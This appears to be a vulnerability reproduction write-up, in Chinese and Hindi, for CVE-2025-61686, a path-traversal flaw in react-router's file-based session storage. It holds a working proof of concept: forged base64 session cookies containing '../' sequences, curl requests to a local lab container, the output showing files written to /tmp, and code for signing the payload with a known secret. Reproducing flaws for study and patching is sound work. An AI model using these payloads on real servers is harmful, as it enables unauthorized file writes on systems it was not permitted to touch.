
CVE-2025-61686复现的dockerfile与poc
1.build
docker-compose up --build
2.start
docker-compose up
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
root@de14139fdebf:/app# ls /tmp
flower
भेद्य संस्करणों 7.9.3 और 7.9.4 की तुलना करने से पता चलता है कि भेद्यता का मुख्य कारण react-router/packages/react-router-node/sessions/fileStorage.ts फ़ाइल में getFile() फ़ंक्शन में session हैंडलिंग की समस्या है।
export function getFile(dir: string, id: string): string {
// Divide the session id up into a directory (first 2 bytes) and filename
// (remaining 6 bytes) to reduce the chance of having very large directories,
// which should speed up file access. This is a maximum of 2^16 directories,
// each with 2^48 files.
return path.join(dir, id.slice(0, 4), id.slice(4));
}
यहाँ, session के पहले 4 अक्षरों को फ़ोल्डर का नाम और पहले 4 अक्षरों के बाद के भाग को फ़ाइल का नाम के रूप में उपयोग किया जाता है, इसलिए हमलावर को पथ ट्रैवर्सल प्राप्त करने के लिए केवल निम्नलिखित करने की आवश्यकता है। यही कारण है कि भेद्यता अधिसूचना कहती है कि यदि session बिना secret के उपयोग की अनुमति देता है तो निर्देशिका ट्रैवर्सल आसानी से प्राप्त किया जा सकता है। बेशक, यदि हमलावर session को एन्क्रिप्ट करने के लिए उपयोग किए जाने वाले secret को प्राप्त कर सकता है, तो वह संबंधित ट्रैवर्सल पेलोड भी बना सकता है।
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'
secret प्राप्त करने की स्थिति में, आप sign() फ़ंक्शन का संदर्भ ले सकते हैं और PoC को साइन करने के लिए secret का उपयोग कर सकते हैं।
export const sign = async (value: string, secret: string): Promise<string> => {
let data = encoder.encode(value);
let key = await createKey(secret, ["sign"]);
let signature = await crypto.subtle.sign("HMAC", key, data);
let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
/=+$/,
"",
);
return value + "." + hash;
};
उत्पन्न session का उपयोग करके अनुरोध भेजें
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'
भेद्यता ट्रिगर की पुष्टि करें
root@eb8750bd4a56:/tmp# ls
flowerwitch
हस्ताक्षर उत्पन्न करने की स्क्रिप्ट use_secret_create_payload.js